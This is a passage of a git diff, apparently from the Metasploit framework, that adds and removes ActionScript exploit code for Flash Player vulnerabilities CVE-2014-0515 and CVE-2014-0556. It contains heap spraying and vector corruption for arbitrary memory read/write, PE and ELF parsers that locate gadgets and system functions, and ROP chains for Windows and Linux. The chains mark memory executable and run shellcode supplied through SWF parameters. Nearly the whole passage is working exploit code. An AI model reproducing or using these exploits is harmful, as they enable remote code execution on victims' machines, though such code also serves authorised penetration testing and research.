0x7f6e0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7f6e0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_windows8():void + { + Logger.log("[*] Exploiter - do_rop_windows8()") + var pe:PE = new PE(eba) + var flash:uint = pe.base(vtable) + var winmm:uint = pe.module("winmm.dll", flash) + var advapi32:uint = pe.module("advapi32.dll", flash) + var kernelbase:uint = pe.module("kernelbase.dll", advapi32) + var kernel32:uint = pe.module("kernel32.dll", winmm) + var ntdll:uint = pe.module("ntdll.dll", kernel32) + var virtualprotect:uint = pe.procedure("VirtualProtect", kernelbase) + var virtualalloc:uint = pe.procedure("VirtualAlloc", kernelbase) + var createthread:uint = pe.procedure("CreateThread", kernelbase) + var memcpy:uint = pe.procedure("memcpy", ntdll) + var xchgeaxespret:uint = pe.gadget("c394", 0x0000ffff, flash) + var xchgeaxesiret:uint = pe.gadget("c396", 0x0000ffff, flash) + var addespcret:uint = pe.gadget("c30cc483", 0xffffffff, ntdll) + + // Continuation of execution + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret + + // Put the payload (command) in memory + eba.write(payload_address + 8, payload, true); // payload + + // Put the fake vtabe / stack on memory + eba.write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability... + eba.write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h] + eba.write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot + eba.write(0, virtualprotect) + + // VirtualProtect + eba.write(0, virtualalloc) + eba.write(0, buffer + 0x10) + eba.write(0, 0x1000) + eba.write(0, 0x40) + eba.write(0, buffer + 0x8) // Writable address (4 bytes) + + // VirtualAlloc + eba.write(0, memcpy) + eba.write(0, 0x7ffd0000) + eba.write(0, 0x4000) + eba.write(0, 0x1000 | 0x2000) // MEM_COMMIT | MEM_RESERVE + eba.write(0, 0x40) // PAGE_EXECUTE_READWRITE + + // memcpy + eba.write(0, addespcret) // stack pivot over arguments because ntdll!memcpy doesn't + eba.write(0, 0x7ffd0000) + eba.write(0, payload_address + 8) + eba.write(0, payload.length) + + // CreateThread + eba.write(0, createthread) + eba.write(0, buffer + 0x10) // return to fix things + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0x7ffd0000) + eba.write(0, 0) + eba.write(0, 0) + eba.write(0, 0) + + eba.write(main, stack_address + 0x18000) // overwrite with fake vtable + exploit.toString() // call method in the fake vtable + } + + private function do_rop_linux():void + { + Logger.log("[*] Exploiter - do_rop_linux()") + var flash:Elf = new Elf(eba, vtable) + var feof:uint = flash.external_symbol('feof') + var libc:Elf = new Elf(eba, feof) + var popen:uint = libc.symbol("popen") + var mprotect:uint = libc.symbol("mprotect") + var mmap:uint = libc.symbol("mmap") + var clone:uint = libc.symbol("clone") + var xchgeaxespret:uint = flash.gadget("c394", 0x0000ffff) + var xchgeaxesiret:uint = flash.gadget("c396", 0x0000ffff) + var addesp2cret:uint = flash.gadget("c32cc483", 0xffffffff) + + // Continuation of execution + // 1) Recover original vtable + eba.write(buffer + 0x10, "\xb8", false); eba.write(0, vtable, false) // mov eax, vtable + eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main + eba.write(0, "\x89\x03", false) // mov [ebx], eax + // 2) Recover original stack + eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi + + // my_memcpy + eba.write(buffer + 0x60, "\x56", false) // push esi + eba.write(0, "\x57", false) // push edi + eba.write(0, "\x51", false) // push ecx + eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10] + eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14] + eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18] + eba.write(0, "\xF3\xA4", false) // rep movsb + eba.write(0, "\x59", false) // pop ecx + eba.write(0, "\x5f", false) // pop edi + eba.write(0, "\x5e", false) // pop esi + eba.write(0, "\xc3", false) // ret + + // Put the popen parameters in memory + eba.write(payload_address + 0x8, payload, true) // false + + // Put the fake stack/vtable on memory + eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot + eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi + eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024 + + // Return to mprotect() + eba.write(stack_address + 0x18034, mprotect) + // Return to stackpivot (jmp over mprotect parameters) + eba.write(0, addesp2cret) + // mprotect() arguments + eba.write(0, buffer) // addr + eba.write(0, 0x1000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + + // Return to mmap() + eba.write(stack_address + 0x18068, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() code segment arguments + eba.write(0, 0x70000000) // 0x70000000 + eba.write(0, 0x4000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, 0xffffffff) // filedes + eba.write(0, 0) // offset + + // Return to mmap() + eba.write(stack_address + 0x1809c, mmap) + // Return to stackpivot (jmp over mmap parameters) + eba.write(0, addesp2cret) + // mmap() stack segment arguments + eba.write(0, 0x70008000) // NULL + eba.write(0, 0x10000) // size + eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC + eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS + eba.write(0, -1) // filedes + eba.write(0, 0) // offset + + // Return to memcpy() + eba.write(stack_address + 0x180d0, buffer + 0x60) + // Return to stackpivot (jmp over memcpy parameters) + eba.write(0, addesp2cret) + // memcpy() parameters + eba.write(0, 0x70000000) + eba.write(0, payload_address + 0x8) + eba.write(0, payload.length) + + // Return to clone() + eba.write(stack_address + 0x18104, clone) + // Return to CoE (fix stack and object vtable) + eba.write(0, buffer + 0x10) + // clone() arguments + eba.write(0, 0x70000000) // code + eba.write(0, 0x7000bff0) // stack + eba.write(0, 0x00000100) // flags CLONE_VM + eba.write(0, 0) // args + + //call DWORD PTR [eax+0x24] + //EAX: 0x41414141 ('AAAA') + //EDI: 0xad857088 ("AAAA\377") + eba.write(main, stack_address + 0x18000) + exploit.hasOwnProperty('msf') + } + + private function cleanup():void + { + Logger.log("[*] Exploiter - cleanup()") + spray = null + stack = null + payload_space = null + eba = null + ev = null + exploit = null + System.pauseForGCIfCollectionImminent(0) + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/Graph.as b/external/source/exploits/CVE-2014-0515/Graph.as deleted file mode 100755 index ab64eb90cd..0000000000 --- a/external/source/exploits/CVE-2014-0515/Graph.as +++ /dev/null @@ -1,411 +0,0 @@ -//compile with AIR SDK 13.0: mxmlc Graph.as -o Graph.swf -package { - import flash.display.Sprite; - import flash.utils.ByteArray; - import flash.display.Shader; - import flash.system.Capabilities; - import flash.net.FileReference; - import flash.utils.Endian; - import __AS3__.vec.Vector; - import __AS3__.vec.*; - import flash.display.LoaderInfo; - - public class Graph extends Sprite { - - static var counter:uint = 0; - - protected var Shad:Class; - var shellcode_byte_array:ByteArray; - var aaab:ByteArray; - var shellcodeObj:Array; - - public function Graph(){ - var tweaked_vector:* = undefined; - var tweaked_vector_address:* = undefined; - var shader:Shader; - var flash_memory_protect:Array; - var code_vectors:Array; - var address_code_vector:uint; - var address_shellcode_byte_array:uint; - this.Shad = Graph_Shad; - super(); - shellcodeObj = LoaderInfo(this.root.loaderInfo).parameters.sh.split(","); - var i:* = 0; - var j:* = 0; - - // Just one try - counter++; - if (counter > 1) - { - return; - }; - - // Memory massage - var array_length:uint = 0x10000; - var vector_size:uint = 34; - var array:Array = new Array(); - i = 0; - while (i < array_length) - { - array[i] = new Vector.(1); - i++; - }; - i = 0; - while (i < array_length) - { - array[i] = new Vector.(vector_size); - i++; - }; - i = 0; - while (i < array_length) - { - array[i].length = 0; - i++; - }; - i = 0x0200; - while (i < array_length) - { - array[(i - (2 * (j % 2)))].length = 0x0100; - i = (i + 28); - j++; - }; - - // Overflow and Search for corrupted vector - var corrupted_vector_idx:uint; - var shadba:ByteArray = (new this.Shad() as ByteArray); - shadba.position = 232; - if (Capabilities.os.indexOf("Windows 8") >= 0) - { - shadba.writeUnsignedInt(2472); - }; - shadba.position = 0; - while (1) - { - shader = new Shader(); - try - { - shader.byteCode = (new this.Shad() as ByteArray); - } catch(e) - { - }; - i = 0; - while (i < array_length) - { - if (array[i].length > 0x0100) - { - corrupted_vector_idx = i; - break; - }; - i++; - }; - if (i != array_length) - { - if (array[corrupted_vector_idx][(vector_size + 1)] > 0) break; - }; - array.push(new Vector.(vector_size)); - }; - - // Tweak the vector following the corrupted one - array[corrupted_vector_idx][vector_size] = 0x40000001; - tweaked_vector = array[(corrupted_vector_idx + 1)]; - - // repair the corrupted vector by restoring its - // vector object pointer and length - var vector_obj_addr:* = tweaked_vector[0x3fffffff]; - tweaked_vector[((0x40000000 - vector_size) - 3)] = vector_obj_addr; - tweaked_vector[((0x40000000 - vector_size) - 4)] = vector_size; - i = 0; - var val:uint; - while (true) - { - val = tweaked_vector[(0x40000000 - i)]; - if (val == 0x90001B) break; - i++; - }; - tweaked_vector_address = 0; - if (tweaked_vector[((0x40000000 - i) - 4)] > 0) - { - tweaked_vector[4] = 0x41414141; - tweaked_vector_address = ((tweaked_vector[((0x40000000 - i) - 4)] + (8 * (vector_size + 2))) + 8); - }; - - // More memory massage, fill an array of FileReference objects - var file_reference_array:Array = new Array(); - i = 0; - while (i < 64) - { - file_reference_array[i] = new FileReference(); - i++; - }; - - var file_reference_vftable:uint = this.find_file_ref_vtable(tweaked_vector, tweaked_vector_address); - var cancel_address:uint = this.read_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20)); - var do_it:Boolean = true; - var memory_protect_ptr:uint; - var aaaq:uint; - if (do_it) - { - flash_memory_protect = this.findFlashMemoryProtect(tweaked_vector, tweaked_vector_address); - memory_protect_ptr = flash_memory_protect[0]; - aaaq = flash_memory_protect[1]; // Not sure, not used on the Flash 11.7.700.202 analysis, maybe some type of adjustment - code_vectors = this.createCodeVectors(0x45454545, 0x90909090); - address_code_vector = this.findCodeVector(tweaked_vector, tweaked_vector_address, 0x45454545); - this.fillCodeVectors(code_vectors); - tweaked_vector[7] = (memory_protect_ptr + 0); // Flash VirtualProtect call - tweaked_vector[4] = aaaq; - tweaked_vector[0] = 0x1000; // Length - tweaked_vector[1] = (address_code_vector & 0xFFFFF000); // Address - - // 10255e21 ff5014 call dword ptr [eax+14h] ds:0023:41414155=???????? - this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), (tweaked_vector_address + 8)); - - // 1) Set memory as executable - i = 0; - while (i < 64) - { - file_reference_array[i].cancel(); - i++; - }; - - // 2) Execute shellcode - tweaked_vector[7] = address_code_vector; - i = 0; - while (i < 64) - { - file_reference_array[i].cancel(); - i++; - }; - - // Restore FileReference cancel function pointer - // Even when probably msf module is not going to benefit because of the ExitThread at the end of the payloads - this.write_memory(tweaked_vector, tweaked_vector_address, (file_reference_vftable + 0x20), cancel_address); - }; - } - - // returns the integer at memory address - // vector: vector with tweaked length - // vector_address: vector's memory address - // address: memory address to read - function read_memory(vector:Vector., vector_address:uint, address:uint):uint{ - if (address >= vector_address) - { - return (vector[((address - vector_address) / 4)]); - }; - return (vector[(0x40000000 - ((vector_address - address) / 4))]); - } - - function write_memory(vector:Vector., vector_address:uint, address:uint, value:uint){ - if (address >= vector_address) - { - vector[((address - vector_address) / 4)] = value; - } else - { - vector[(0x40000000 - ((vector_address - address) / 4))] = value; - }; - } - - function findFlashMemoryProtect(vector:*, vector_address:*):Array{ - var content:uint; - var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); - var index:uint; - var memory_protect_ptr:uint; - var _local_6:uint; - if (allocation >= vector_address) - { - index = ((allocation - vector_address) / 4); - } else - { - index = (0x40000000 - ((vector_address - allocation) / 4)); - }; - - //push 1 ; 6a 01 - //push dword ptr [eax-8] ; ff 70 f8 - //push dword ptr [eax-4] ; ff 70 fc - //call sub_1059DD00 // Will do VirtualProtect - var offset:uint; - while (1) - { - index--; - content = vector[index]; - if (content == 0xfff870ff) - { - offset = 2; - break; - }; - if (content == 0xf870ff01) - { - offset = 1; - break; - }; - if (content == 0x70ff016a) - { - content = vector[(index + 1)]; - if (content == 0xfc70fff8) - { - offset = 0; - break; - }; - } else - { - if (content == 0x70fff870) - { - offset = 3; - break; - }; - }; - }; - - memory_protect_ptr = ((vector_address + (4 * index)) - offset); - index--; - var content_before:uint = vector[index]; - - if (content_before == 0x16a0424) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0x6a042444) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0x424448b) - { - return ([memory_protect_ptr, _local_6]); - }; - if (content_before == 0xff016a04) - { - return ([memory_protect_ptr, _local_6]); - }; - _local_6 = (memory_protect_ptr - 6); - - while (1) - { - index--; - content = vector[index]; - if (content == 0x850ff50) - { - if (uint(vector[(index + 1)]) == 0x5e0cc483) - { - offset = 0; - break; - }; - }; - content = (content & 0xFFFFFF00); - if (content == 0x50FF5000) - { - if (uint(vector[(index + 1)]) == 0xcc48308) - { - offset = 1; - break; - }; - }; - content = (content & 0xFFFF0000); - if (content == 0xFF500000) - { - if (uint(vector[(index + 1)]) == 0xc4830850) - { - if (uint(vector[(index + 2)]) == 0xc35d5e0c) - { - offset = 2; - break; - }; - }; - }; - content = (content & 0xFF000000); - if (content == 0x50000000) - { - if (uint(vector[(index + 1)]) == 0x830850ff) - { - if (uint(vector[(index + 2)]) == 0x5d5e0cc4) - { - offset = 3; - break; - }; - }; - }; - }; - memory_protect_ptr = ((vector_address + (4 * index)) + offset); - return ([memory_protect_ptr, _local_6]); - } - - // vector: vector with tweaked length - // address: memory address of vector data - function find_file_ref_vtable(vector:*, address:*):uint{ - var allocation:uint = this.read_memory(vector, address, ((address & 0xFFFFF000) + 0x1c)); - - // Find an allocation of size 0x2a0 - var allocation_size:uint; - while (true) - { - allocation_size = this.read_memory(vector, address, (allocation + 8)); - if (allocation_size == 0x2a0) break; - if (allocation_size < 0x2a0) - { - allocation = (allocation + 0x24); // next allocation - } else - { - allocation = (allocation - 0x24); // prior allocation - }; - }; - var allocation_contents:uint = this.read_memory(vector, address, (allocation + 0xc)); - while (true) - { - if (this.read_memory(vector, address, (allocation_contents + 0x180)) == 0xFFFFFFFF) break; - if (this.read_memory(vector, address, (allocation_contents + 0x17c)) == 0xFFFFFFFF) break; - allocation_contents = this.read_memory(vector, address, (allocation_contents + 8)); - }; - return (allocation_contents); - } - - // Returns pointer to the nops in one of the allocated code vectors - function findCodeVector(vector:*, vector_address:*, mark:*):uint{ - var allocation_size:uint; - var allocation:uint = this.read_memory(vector, vector_address, ((vector_address & 0xFFFFF000) + 0x1c)); - while (true) - { - allocation_size = this.read_memory(vector, vector_address, (allocation + 8)); - if (allocation_size == 0x7f0) break; // Code Vector found - allocation = (allocation + 0x24); // next allocation - }; - - // allocation contents should be the vector code, search for the mark 0x45454545 - var allocation_contents:uint = this.read_memory(vector, vector_address, (allocation + 0xc)); - while (true) - { - if (this.read_memory(vector, vector_address, (allocation_contents + 0x28)) == mark) break; - allocation_contents = this.read_memory(vector, vector_address, (allocation_contents + 8)); // next allocation - }; - return ((allocation_contents + 0x2c)); - } - - // create 8 vectors of size 0x7f0 inside an array to place shellcode - function createCodeVectors(mark:uint, nops:uint){ - var code_vectors_array:Array = new Array(); - var i:* = 0; - while (i < 8) - { - code_vectors_array[i] = new Vector.(((0x7f0 / 4) - 8)); // new Vector.(0x1f4) - code_vectors_array[i][0] = mark; // 0x45454545 // inc ebp * 4 - code_vectors_array[i][1] = nops; // 0x90909090 // nop * 4 - i++; - }; - return (code_vectors_array); - } - - - // Fill with the code vectors with the shellcode - function fillCodeVectors(array_code_vectors:Array) { - var i:uint = 0; - var sh:uint=1; - - while(i < array_code_vectors.length) - { - for(var u:String in shellcodeObj) - { - array_code_vectors[i][sh++] = Number(shellcodeObj[u]); - } - i++; - sh = 1; - } - } - } -}//package diff --git a/external/source/exploits/CVE-2014-0515/GraphShadLinux.as b/external/source/exploits/CVE-2014-0515/GraphShadLinux.as new file mode 100755 index 0000000000..2593201484 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/GraphShadLinux.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data_linux", mimeType="application/octet-stream")] + public class GraphShadLinux extends ByteArrayAsset + { + + } +} diff --git a/external/source/exploits/CVE-2014-0515/GraphShadWindows.as b/external/source/exploits/CVE-2014-0515/GraphShadWindows.as new file mode 100755 index 0000000000..e4f5f20453 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/GraphShadWindows.as @@ -0,0 +1,10 @@ +package +{ + import mx.core.ByteArrayAsset; + + [Embed(source="binary_data_windows", mimeType="application/octet-stream")] + public class GraphShadWindows extends ByteArrayAsset + { + + } +} diff --git a/external/source/exploits/CVE-2014-0515/Graph_Shad.as b/external/source/exploits/CVE-2014-0515/Graph_Shad.as deleted file mode 100755 index c0e84dff5d..0000000000 --- a/external/source/exploits/CVE-2014-0515/Graph_Shad.as +++ /dev/null @@ -1,10 +0,0 @@ -package -{ - import mx.core.ByteArrayAsset; - - [Embed(source="binary_data", mimeType="application/octet-stream")] - public class Graph_Shad extends ByteArrayAsset - { - - } -} \ No newline at end of file diff --git a/external/source/exploits/CVE-2014-0515/Logger.as b/external/source/exploits/CVE-2014-0515/Logger.as new file mode 100755 index 0000000000..16c0447973 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/Logger.as @@ -0,0 +1,32 @@ +package +{ + import flash.external.ExternalInterface + + public class Logger { + private static const DEBUG:uint = 0 + + public static function alert(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("alert", str); + } + } + + public static function log(msg:String):void + { + var str:String = ""; + + if (DEBUG == 1) + str += msg; + + if(ExternalInterface.available){ + ExternalInterface.call("console.log", str); + } + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/PE.as b/external/source/exploits/CVE-2014-0515/PE.as new file mode 100644 index 0000000000..8753586477 --- /dev/null +++ b/external/source/exploits/CVE-2014-0515/PE.as @@ -0,0 +1,72 @@ +package +{ + public class PE + { + private var eba:ExploitByteArray + + public function PE(ba:ExploitByteArray) + { + eba = ba + } + + public function base(addr:uint):uint + { + addr &= 0xffff0000 + while (true) { + if (eba.read(addr) == 0x00905a4d) return addr + addr -= 0x10000 + } + return 0 + } + + public function module(name:String, addr:uint):uint + { + var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1 + var mod_name:String + + while (true) { + var entry:uint = eba.read(iat + (++i) * 0x14 + 12) + if (!entry) throw new Error("FAIL!"); + mod_name = eba.read_string(addr + entry, name.length) + if (mod_name.toUpperCase() == name.toUpperCase()) break + } + return base(eba.read(addr + eba.read(iat + i * 0x14 + 16))) + } + + public function procedure(name:String, addr:uint):uint + { + var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78) + var numberOfNames:uint = eba.read(eat + 0x18) + var addressOfFunctions:uint = addr + eba.read(eat + 0x1c) + var addressOfNames:uint = addr + eba.read(eat + 0x20) + var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24) + var proc_name:String + + for (var i:uint = 0; ; i++) { + var entry:uint = eba.read(addressOfNames + i * 4) + proc_name = eba.read_string(addr + entry, name.length + 2) + if (proc_name.toUpperCase() == name.toUpperCase()) break + } + return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4) + } + + public function gadget(gadget:String, hint:uint, addr:uint):uint + { + var find:uint = 0 + var contents:uint = 0 + var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50) + var value:uint = parseInt(gadget, 16) + + for (var i:uint = 0; i < limit - 4; i++) { + contents = eba.read(addr + i) + if (hint == 0xffffffff && value == contents) { + return addr + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return addr + i + } + } + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0515/binary_data_linux b/external/source/exploits/CVE-2014-0515/binary_data_linux new file mode 100755 index 0000000000..27a7ca7f9d Binary files /dev/null and b/external/source/exploits/CVE-2014-0515/binary_data_linux differ diff --git a/external/source/exploits/CVE-2014-0515/binary_data b/external/source/exploits/CVE-2014-0515/binary_data_windows similarity index 100% rename from external/source/exploits/CVE-2014-0515/binary_data rename to external/source/exploits/CVE-2014-0515/binary_data_windows diff --git a/external/source/exploits/CVE-2014-0556/Elf.as b/external/source/exploits/CVE-2014-0556/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2014-0556/Exploit.as b/external/source/exploits/CVE-2014-0556/Exploit.as new file mode 100755 index 0000000000..e14fceac94 --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/Exploit.as @@ -0,0 +1,83 @@ +// Build how to: +// 1. Download the AIRSDK, and use its compiler. +// 2. Download the Flex SDK (4.6) +// 3. Copy the Flex SDK libs (/framework/libs) to the AIRSDK folder (/framework/libs) +// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder) +// 4. Build with: mxmlc -o msf.swf Main.as + +// Original code by @hdarwin89 // http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/ +// Modified to be used from msf + +package +{ + import flash.display.Sprite + import flash.display.BitmapData + import flash.geom.Rectangle + import flash.utils.ByteArray + import flash.display.LoaderInfo + import mx.utils.Base64Decoder + + public class Exploit extends Sprite + { + private var uv:Vector. + private var exploiter:Exploiter + private var b64:Base64Decoder = new Base64Decoder() + private var payload:ByteArray + private var platform:String + private var os:String + private var bv:Vector. = new Vector.(12800) + private var ov:Vector. = new Vector.(12800) + private var bd:BitmapData = new BitmapData(128, 16) + + public function Exploit() + { + var i:uint + platform = LoaderInfo(this.root.loaderInfo).parameters.pl + os = LoaderInfo(this.root.loaderInfo).parameters.os + var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh + var pattern:RegExp = / /g; + b64_payload = b64_payload.replace(pattern, "+") + b64.decode(b64_payload) + payload = b64.toByteArray() + + for (i = 0; i < bv.length; i++) { + bv[i] = new ByteArray() + bv[i].length = 0x2000 + bv[i].position = 0xFFFFF000 + } + + for (i = 0; i < bv.length; i++) + if (i % 2 == 0) bv[i] = null + + for (i = 0; i < ov.length; i++) { + ov[i] = new Vector.(1022) + ov[i][0] = 0xdeadbeef + } + + bd.copyPixelsToByteArray(new Rectangle(0, 0, 128, 16), bv[6401]) + + for (i = 0; i < ov.length ; i++) { + if (ov[i].length == 0xffffffff) { + uv = ov[i] + uv[0] = 0xdeadbeef + uv[1] = 0xdeedbeef + for(var j:uint = 0; j < 4096; j++) { + if (uv[j] == 1022 && uv[j + 2] == 0xdeadbeef) { + uv[0x3fffffff] = uv[j + 1] + break + } + } + } else { + ov[i] = null + } + } + + for (i = 0; i < bv.length; i++) { + bv[i] = null + } + + exploiter = new Exploiter(this, platform, os, payload, uv) + } + + } +} diff --git a/external/source/exploits/CVE-2014-0556/ExploitByteArray.as b/external/source/exploits/CVE-2014-0556/ExploitByteArray.as new file mode 100644 index 0000000000..a8da46df7b --- /dev/null +++ b/external/source/exploits/CVE-2014-0556/ExploitByteArray.as @@ -0,0 +1,85 @@ +package +{ + import flash.utils.ByteArray + + public class ExploitByteArray + { + private const MAX_STRING_LENGTH:uint = 100 + public var ba:ByteArray + public var original_length:uint + private var platform:String + + public function ExploitByteArray(p:String, l:uint = 1024) + { + ba = new ByteArray() + ba.length = l + ba.endian = "littleEndian" + ba.writeUnsignedInt(0) + platform = p + original_length = l + } + + public function set_length(length:uint):void + { + ba.length = length + } + + public function get_length():uint + { + return ba.length + } + + public function lets_ready():void + { + ba.endian = "littleEndian" + if (platform == "linux") { + ba.length = 0xffffffff + } + } + + public function is_ready():Boolean + { + if (ba.length == 0xffffffff) + return true + + return false + } + + public function read(addr:uint, type:String = "dword"):uint + { + ba.position = addr + switch(type) { + case "dword": + return ba.readUnsignedInt() + case "word": + return ba.readUnsignedShort() + case "byte": + return ba.readUnsignedByte() + } + return 0 + } + + public function 